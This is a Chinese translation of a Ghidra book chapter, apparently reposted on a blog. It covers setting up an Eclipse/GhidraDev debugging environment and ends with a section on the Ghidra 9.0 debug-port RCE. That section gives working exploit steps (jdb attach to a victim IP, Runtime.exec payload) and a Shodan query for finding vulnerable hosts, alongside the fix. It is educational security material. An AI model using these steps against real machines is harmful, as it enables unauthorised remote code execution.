Ghidra 软件逆向工程入门 第 3 章 Ghidra 调试模式

本章将介绍 Ghidra 调试模式 。 通过使用 Eclipse IDE,您将能够以专业方式开发和调试 Ghidra 的任何功能,包括前一章节中介绍的插件。

我们选择使用 Eclipse IDE(GitHub & BitBucket HTML Preview),因为它是 Ghidra 官方唯一支持的开发环境。 技术上虽然可以使用其他 IDE,但它们不受官方支持。Ghidra 9.0 版本的调试模式功能存在严重安全漏洞,因此请使用更高版本的程序部署开发环境。 本书撰写时当前安全稳定的版本 是11.0.1

最后,您将学习如何利用远程代码执行 RCE)漏洞。

本章我们将涵盖以下 核心主题:

软件需求概述

我们需要 Java 开发工具包 JDK ) 和 PyDev ,因为它们分别支持我们使用 Java 和 Python 编程语言进行开发。 Eclipse 是官方支持且集成的 IDE,用于 Ghidra 开发。

尽管 Eclipse 是唯一官方支持的 IDE,但从技术上讲,可以将 IntelliJ 与 Ghidra 集成( https://reversing.technology/2019/11/18/ghidra-dev-pt3-dbg.html ),或使用其他 IDE 来实现高级功能,并深入研究 集成工作原理。

如需安装更多依赖项,您可自行添加。 实际上,在调试和/或开发 特定组件时,可能最终需要更多依赖项。

GHIDRA 开发者指南文档

如需安装完整 Ghidra 开发环境所需的所有依赖项,可参考文档中的 依赖项目录 ,该目录对于解决环境配置过程中的具体问题也很有帮助。 文档地址为 https://github.com/NationalSecurityAgency/ghidra/blob/master/DevGuide.md 。 文档当前明确指出这些依赖项可无序安装,但此处建议优先安装 JDK,因为后续 Eclipse 会需要它。

安装 JDK

如果您已按照 自行编译 Ghidra 或 运行 Ghidra 章节(位于 第 1 章 )操作,那么 JDK 应该已经安装在您的机器上。 如果尚未安装,只需运行从上一小节 搭建 Ghidra 开发环境 中的 JDK 链接下载的 .msi 文件, 并按照安装说明完成安装即可。 如果您下载的是 .zip 文件, 首先需要解压该 .zip 文件,然后将 JAVA_HOME 环境变量设置为 JDK 的解压路径,并将其 bin 目录的路径添加到 PATH 环境变量中。

您可以通过打印 JAVA_HOME 内容和 Java 版本来验证 JDK 是否安装成功。 为此,请使用以下两个命令并检查 输出结果:

这里是 输出结果:

echo %JAVA_HOME%
java –version

这里是 输出结果:

C:\Users\virusito>echo %JAVA_HOME%
C:\Program Files\Eclipse Adoptium\jdk-17.0.10.7-hotspot\
C:\Users\virusito>java –version
openjdk version "17.0.10" 2024-01-16
OpenJDK Runtime Environment Temurin-17.0.10+7 (build 17.0.10+7)
OpenJDK 64-Bit Server VM Temurin-17.0.10+7 (build 17.0.10+7, mixed mode, sharing)

之前的 MSI 安装程序输出 显示 JDK 17.0.10 已成功安装 并配置完成。

安装 Eclipse 集成开发环境

当 JDK 安装 完成后,我们 可以继续从 软件包 下载页面安装 Eclipse IDE for Java Developers(其他 Eclipse 版本可能存在问题),该页面位于 官方网站的 ( https://www.eclipse.org/downl oads/packages/ ):

图 3.1 - 下载面向 Java 开发者的 Eclipse IDE

下一步是从 Eclipse 中安装 PyDev。

安装 PyDev

在安装 Eclipse 后,通过右键点击并选择 ,将我们之前在实验室设置时下载的 PyDev 6.3.1 ZIP 文件内容解压或解压缩到文件夹中,操作时选择全部解压... :

 

图 3.2 – 将 PyDev 解压至文件夹

将 PyDev 6.3.1.zip 的所有内容解压到名为 PyDev 6.3.1 的文件夹中 :

图 3.3 – 解压 PyDev 6.3.1.zip 文件内容

通过 Eclipse 安装:点击帮助菜单中的安装新软件… 选项,并添加解压后的 PyDev 存档文件夹路径作为本地仓库(如下截图中的本地… 选项):

 

图 3.4 – 将 PyDev 添加为 Eclipse 本地仓库

在此步骤卡住是很常见的情况。 如下图所示,由于所有安装项都按类别分组,因此没有显示分类项目。 请取消勾选 按类别分组项目 选 项以 解决此问题:

 

图 3.5 – PyDev 插件安装程序 对话框

取消 勾选 按类别分组项 目 后, 您就能选择 PyDev for Eclipse 选项来 进行安装:

 

图 3.6 - 检查 PyDev 是否已安装

点击下一步 > 继续安装:

 

图 3.7 – 查看待安装的项目

在 安装 PyDev 之前,您 必须接 受 许可协议:

 

图 3.8 – 接受 PyDev 许可协议

安装 PyDev 后,您需要重启 Eclipse 以使软件更改生 效:

 

图 3.9 – 重启 Eclipse

完成此步骤后,您将获得 Eclipse 的 Python 支持 。 您可以通过点击 帮助 关于 Eclipse IDE 安装 详细信息 .

 

图 3.10 - 验证 PyDev 已成功安装到 Eclipse 中

这个 Eclipse 菜单还可用于更新、卸载以及查看任何已安装的 Eclipse IDE 扩展的属性。

安装 GhidraDev

类似于我们安装 PyDev 的方式,要实现 Ghidra/Eclipse 同步,你需要安装 GhidraDev 插件,该插件位于 Ghidra 安装目录下的 Extensions\Eclipse\GhidraDev\GhidraDev-3.0.2.zip,但这次不要解压缩,而是使用归档文件… 选项:

 

图 3.11 – 将 GhidraDev 添加为 Eclipse 本地仓库

之后,点击添加 。 这种情况下,您无需担心按类别分组项目选项,因为已存在一个包含我们所需的 Ghidra 类别,其中含有 GhidraDev 插件。 只需确保 GhidraDev 选项已勾选,然后点击下一步 > 按钮:

 

图 3.12 – 安装 GhidraDev 插件

之后, 您可以借机查看安装详情。 再次点击下一步 > 以继续安装 GhidraDev:

 

图 3.13 – 查看待安装的项目

接受 Ghi draDev 许可条款并 点击 完成 :

 

图 3.14 – 接受 GhidraDev 许可条款

这种情况下会出现信任警告。 无需担心。 该插件的真实性 无法验证,因为 它未经过签名。 请检查 未签名 表格条目(这将高亮显示我们插件的 ghidra.ghidradev ID),然后点击 信任选定 项 继续:

 

图 3.15 – 接受安全警告

要使更改生效,请点击 重新 启动 以重启 Eclipse IDE:

 

图 3.16 – 重启 Eclipse IDE

当 重新启动 Eclipse IDE 时,我们新安装的 GhidraDev 插件会请求开放端口的许可。 这是与 Ghidra 进行通信的必要条件。 请点击 是 按钮授予许可。

 

图 3.17 – GhidraDev 用户许可

如您所知,您可以通过帮助 关于 Eclipse IDE | 安装细节来检查 GhidraDev 是否已安装。 但在这种情况下,该插件已集成到 Eclipse 的菜单栏中,因此您只需查看菜单栏即可轻松判断安装是否成功:

 

图 3.18 – GhidraDev 插件已安装

之后,GhidraDev 插件将被安装,您还可以指定 Ghidra 安装位置以便将其链接到开发项目中。 使用 GhidraDev 首选项 Ghidra 安装路径… 来 完成此操作。

在我的情况下,Ghidra 安装目录位于 C:\Installs\ghidra_11.0.1_PUBLIC ,我已将其添加并设为默认 Ghidra 安装。 请确保您使用的 GhidraDev 插件与其配套发布的 Ghidra 版本一致,否则可能会遇到 找不到支持的 JDK 错误。 例如,如果您自行构建 Ghidra 却尝试使用 Ghidra 11.0.1 公开版中的 GhidraDev 插件,就可能会 出现问题。

Ghidra 安装 可以通过点击 添加… 按钮来新增,通过选择表格中的安装行并 点击 移除 来删除 :

 

图 3.19 – 将 Ghidra 安装目录添加至 GhidraDev

下一节我们将介绍 Ghidra 调试功能,它不仅能够帮助我们识别和修复脚本中的编程错误,还能让我们逐步跟踪 Ghidra 的执行过程。 调试能力将非常有用,因为它向你展示了 Ghidra 所有底层的内部细节,既有趣又 有助于高级开发。

调试 Ghidra 代码和 Ghidra 脚本

本节我们将探讨如何调试 Ghidra 功能 (通过 Eclipse)。 首先回顾脚本开发与调试方法,最后演示如何从源代码调试任意 Ghidra 组件。

调试 Ghidra 脚本 通过 Eclipse

接下来我们调试一个 Ghidra 脚本。 首先需要创建一个新的 Ghidra 项目, 使用 GhidraDev 选项,该选项位于 Eclipse IDE 的菜单栏中。 操作方法是点击 GhidraDev 新建 Ghidra 脚本项目… 并输入您选择的项目名称。 我们将其命名为 GhidraScripts ,这是默认的 或 建议值:

 

图 3.20 – 创建 Ghidra 脚本项目

点击 下一步 > 后,您可以选择是否将已开发的脚本链接到项目(在我的案例中是 C:\Users\virusito\ghidra_scripts )以及 Ghidra 安装包中包含的脚本, 通过 复选框进行选择:

 

图 3.21 – 配置新的 Ghidra 脚本项目

您可以选择之前通过 GhidraDev 首选项 Ghidra 安装路径... 配置的 Ghidra 安装实例,也可以通过 按钮打开 Ghidra 安装窗口来添加/移除安装目录:

 

图 3.22 – 将 Ghidra 安装链接到正在创建的 Ghidra 脚本项目

点击 下一步 > 后,您将能够通过 Jython 启用 Python 支持。 您可以 添加 Ghidra 自带的 Jython 解释器, 或通过点击 按钮下载自己的解释器(下载地址: https://www.jython.org/download )。

 

图 3.23 – 通过 Jython 为 Ghidra 脚本项目添加 Python 支持

若要使用 Ghidra 自带的解释器(位于以下目录: <GhidraInstallDir>\Ghidra\Features\Python\lib\jython-standalone-2.7.3.jar ),且已将该 Ghidra 实例关联至项目,系统将提供此选项,可免去手动查找的麻烦。 在弹出的 对话框中选择确认

 

图 3.24 - 自动添加 Ghidra 自带的 Jython 解释器

之后,您将拥有一个适用于常规用途的 Jython 解释器。 但如果您需要链接自己的解释器,请随时点击 +|New…|Browse,在添加您的 Jython 解释器后, 点击 OK :

 

图 3.25 – 添加自定义 Jython 解释器

如果您收到以下消息,请点击 仍然继续 :

 

图 3.26 – 在 Eclipse 中将 Python 标准库添加到 PYTHONPA TH 路径中

使用 以下命令获取 /Lib 文件夹路径:

C:\Users\virusito>python -c "from distutils.sysconfig import get_python_lib; print(get_python_lib())"
c:\Python27\Lib\site-packages
C:\Users\virusito>

将该 文件夹添加至 PYTHONPATH 中,使用 新建文件夹 功能,确认添加成功后(如下图所示),点 击 应用 并关闭 :

 

图 3.27 – 应用 PYTHONPATH 中的变更

现在,您 可以选择自己的解释器 或使用 Ghidra 自带的另一个(本书推 荐使用后者)。 做出选 择后点击 完成 :

 

图 3.28 – 选择可用的 Jython 解释器

在正式开始调试之前,我们先来看看环境配置情况并注意 以下几点。

当我们创建的 Ghidra 脚本项目在 Eclipse IDE 中加载后,Package Explorer 会显示来自 Ghidra 安装目录的现有脚本文件夹(选中任意脚本后按 Alt Enter 快捷键组合可查看其路径),默认情况下还会显示位于 userprofile%\ghidra_scripts\ 目录中的个人脚本。

JUnit 4 、JDK( JRE 系统库 )以及 引用库 (包括 Ghidra 库)都已链接到项目,同时还包括完整的 Ghidra 安装文件夹:

 

图 3.29 – Ghidra 脚本项目结构

右键点击 项目并选择 运行为 或 调 试为 ,您会注意到在安装 GhidraDev 插件时 已自动创建了运行和调试两种模式。

第一种 是 Ghidra 运行模式,允许您在图形界面环境下运行 Ghidra;而第二种 Ghidra Headless 模式则支持 在 非图形界面模式下执行 Ghidra:

图3.30 - 项目运行模式

让我们调试在 NopScript.java 中开发的 Ghidra 脚本代码,该代码来自 第 2 章 《 使用 Ghidra 脚本自动化逆向工程任务 》,方法是将其粘贴到现已与 Ghidra 集成的 Eclipse 中。

要创建新脚本,请按照以下步骤操作(您可能已在上一章创建了同名脚本 NopScript.Java 。 如果存在同名脚本,系统将报错。 遇到这种情况时, 请选择其他 名称,例如 NopScript2.Java ,或删除现有脚本后按后续步骤 重新创建):

  1. 前往 GhidraDev 新建 Ghidra 脚本... :

 

图 3.31 – 创建新的 Ghidra 脚本

  1. 按如下方式填写必填字段并点击 完成 :

图 3.32 – 创建 NopScript.java Ghidra 脚本

让 GhidraDev 生成对应的脚本框架。 通过粘贴 NopScript.java 中的 Ghidra 脚本代码来填充脚本主体,该代码编写于第 2 章 《 使用 Ghidra 脚本自动化逆向工程任务 》(优先使用 run() 代码块内的内容)。 粘贴后,将鼠标悬停在出现的错误上(如有),打开快速修复并选择相关导入项以解决错误:

 

图 3.33 – 用 NopScript.java 代码覆盖骨架代码

您可以通过添加断点让程序在脚本的某些行中断执行。 设置断点的方法是:右键点击需要中断的行号,然后选择切换断点 。 或者,双击行号,或者在鼠标聚焦于该行时按下 Ctrl+Shift+B 组合键同样可以实现该操作:

 

图3.34 – 在脚本第18行设置断点

现在,您可以通过右键点击代码并选择 调试方式 Ghidra :

 

图 3.35 – 调试 Ghidra 脚本

要强制 Ghidra 运行到断点所在的行, 您需要通过 GhidraDev 在已与 Eclipse 同步的 Ghidra 文件中选定字节运行该插件。 如果在 Ghidra CodeBrowser 的工具菜单栏中未找到您的插件,请前往脚本管理器并在左侧面板选择内存类别。 这将使您的脚本 NopScript.Java 显示在右侧。 接着勾选工具内工具选项:

 

图 3.36 – 将 NopScript.Java 添加到 CodeBrowser 的 Tools 菜单中

由于此脚本已关联 Ctrl+Alt+Shift+N 快捷键,您可以使用它们来执行脚本对文件的某个字节:

 

图 3.37 – 在 Ghidra 中调试 NopScript.java 文件

同样地,Ghidra Python 脚本也可以通过 Eclipse 中的 PyDev 集成进行调试:

 

图 3.38 – 在 Ghidra 中调试 NopScript.py

同样的方法不仅适用于自制脚本,也可应用于项目中 可用的任何其他插件。

从 Eclipse 调试任何 Ghidra 组件

您不仅可以调试插件, 还能调试 Ghidra 中的任何功能。 例如,若要调试函数图功能,您可以在 Package Explorer 中将对应的 JAR 文件添加到构建路径。 这种情况下, 该 JAR 文件就是 Graph.jar :

 

图 3.39 – 将 Graph.jar 文件添加到构建路径中

然后,您可以将 JAR 文件(现已存在于构建路径中)关联到其对应的源代码。 源代码 位于同一 文件夹下,名为 Grahp-src.zip 。 要关联源代码,您需要右键点击 Graph.jar 文件打开属性窗口,然后在 工作区位置 字段中附加 ZIP 文件,该字段位于 Java 源 代码 附件 部分:

 

图 3.40 – 将 Graph.jar 文件链接到其源代码

之后,您将能够展开 Graph.jar 文件,查看其中包含的 *.class 文件。 由于现在已建立链接,您将能够查看源代码。 您还可以在其中添加断点,当在调试会话过程中 Graph.jar 执行到对应代码行时,这些断点将会被触发。 :

 

图 3.41 – 函数图特性调试

在本 节中,您学习了如何使用 GhidraDev 插件将 Eclipse 与 Ghidra 集成。 您了解了如何从 IDE 开发 和调试 Ghidra 插件,最后还掌握了如何调试 Ghidra 中任意选定功能的方法,这使您能够自主掌 握 Ghidra 的 内部机制。

Ghidra RCE 漏洞

在本 节中,我们将学习 Ghidra 9.0 中发现的 RCE 漏洞的工作原理、利用方法以 及修复方案。

重要说明

您需要 Ghidra 9.0 才能继续下一节内容。 但 Ghidra 9.0 无法从 GitHub 发布页面下载。 您可以通过此链接下载:https://drive.google.com/file/d/1UGtubZMypDIMWbaVx3XBcufIjP4thsRQ/view?usp=share_link

关于 Ghidra RCE 漏洞的说明

该漏洞源于 Windows 平台运行 Ghidra 时 launch.bat 中的某行代码, 以及 Linux 或 macOS 上运行的 launch.sh。 以下是涉及的代码行:

-Xrunjdwp:transport=dt_socket,server=y,suspend=${SUSPEND},address=*:${DEBUG_PORT}

该漏洞在 Ghidra 9.0.1 的第二个版本中通过替换星号( )得到修复,该符号原本表示允许所有地址附加调试器到 Ghidra,现将其限制为仅允许 localhost :

-Xrunjdwp:transport=dt_socket,server=y,suspend=!SUSPEND!,address=!DEBUG_ADDRESS!

正如你所见,这个漏洞如此明显,以至于矛盾的是,它很可能正是因为 同样的原因而被 忽视了。

利用 Ghidra RCE 漏洞

为利用 此 RCE 漏洞,我们通过以调试模式运行 Ghidra 9.0 来搭建易受攻击的机器环境。 可通过执行 ghidraDebug.bat 文件实现:

C:\Users\virusito\Desktop\ghidra_9.0_PUBLIC\support>ghidraDebug.bat
Listening for transport dt_socket at address: 18001

随后获取 Ghidra 的 进程标识符 PID )。 本例中该值为 3828 ,如 下列清单所示: 

C:\Users\virusito>tasklist /fi "IMAGENAME eq java.exe" /FO LIST | FIND "PID:"
PID:    3828

然后,我们列出与之关联的活动连接 使用 netstat :

C:\Users\virusito>netstat -ano | FINDSTR 3828
  TCP    127.0.0.1:18001    0.0.0.0:0    LISTENING    3828

如前面的列表所示,一个监听连接已向全网开放,如 0.0.0.0:0 所示。 随后,我们可以从任意位置建立到该连接的访问。 使用以下代码时,请将 VICTIM_IP_HERE 替换为受害者的 IP 地址:

C:\Users\virusito>jdb -connect com.sun.jdi.SocketAttach:port=18001,hostname=VICTIM_IP_HERE
Set deferred uncaught java.lang.Throwable
Initializing jdb ...
>

接着,寻找 一个即将触发断点的可运行类 如果已设置:

>classes
...
javax.swing.RepaintManager$DisplayChangedHandler
javax.swing.RepaintManager$PaintManager
javax.swing.RepaintManager$ProcessingRunnable
javax.swing.RootPaneContainer
javax.swing.ScrollPaneConstants
...

javax.swing.RepaintManager$ProcessingRunnable 会在窗口重绘时被触发。 这是一个相当不错的目标。 让我们使用 stop 命令为其添加断点:


> stop in javax.swing.RepaintManager$ProcessingRunnable.run()
Set breakpoint javax.swing.RepaintManager$ProcessingRunnable.run()

随后,断点被 快速命中:

Breakpoint hit: "thread=AWT-EventQueue-0", javax.swing.RepaintManager$ProcessingRunnable.run(), line=1.871 bci=0

在这种情况下,您可以执行任意命令。 我将通过 calc.exe 执行计算器程序,但您可以将其替换为任何命令 注入载荷:

AWT-EventQueue-0[1] print new java.lang.Runtime().exec("calc.exe")
new java.lang.Runtime().exec("calc.exe") = "Process[pid=9268, exitValue="not exited"]"

在此 案例中,Windows 计算器程序已在被入侵计算机上执行。 我们通过反馈信息得知攻击成功,因为受害机器上创建了 9268 这个 新进程 (由 PID 标识)。

修复 Ghi dra 远程代码执行漏洞

为修复该漏洞, DEBUG_ADDRESS 变量被设置为 127.0.0.1:18001 ,这将 限制调试连接 仅能来自 本地主机 :

if "%DEBUG%"=="y" (
    if "%DEBUG_ADDRESS%"=="" (
        set DEBUG_ADDRESS=127.0.0.1:18001
    )

手动检查这些代码行可让您自行确认特定版本的 Ghidra 是否 存在 此攻击漏洞。

寻找存在漏洞的计算机

Ghidra 的远程代码执行漏洞虽小但极其重 要,因为可以直截了当地定位到存在漏洞的计算机,例如通过查询 Shodan(需要 Shodan 账户并登录,否则该链接的查询结果将无法 查看): https://www.shodan.io/search ?query=port:18001 .

当然,这个漏洞很可能不是 美国国家安全局 NSA ) 在程序中预留的后门。 NSA 拥有自己的零日漏洞来入侵计算机, 显然不需要在自己的程序中植入后门来入侵全球用户的电脑。 事实上,这样 做在声誉方面将是极其糟糕的 举措。

重要说明

请确保在使用调试模式时使用的是打过补丁的 Ghidra 版本,因为使用存在漏洞的 Ghidra 会面临极高的被黑客攻击风险。

总结

本章中,您学习了如何通过 GhidraDev 插件实现 Eclipse 与 Ghidra 的同步,用于开发和调试目的。 您不仅掌握了调试脚本的技能,还学会了调试 Ghidra 任意源代码行的方法,使您能够自主探索这个强大框架的内部机制。

您还了解了 Ghidra 远程代码执行漏洞的工作原理、修补方法、利用方式,以及为何它可能并非 NSA 后门。 下一章我们将介绍用于自由扩展 Ghidra 的插件,这些扩展可直接基于源代码实现。

问题

  1. 是否有可能通过源代码而非字节码来调试 Ghidra 的编译版本?
  2. 是否可以使用 Eclipse 以外的 IDE 来调试 Ghidra? 其他 IDE 是否受支持?
  3. 你认为 NSA 是否可能在监视 Ghidra 用户? 你觉得 这很可能 包含后门吗?
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

akluse

失业老程序员求打赏,求买包子钱

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值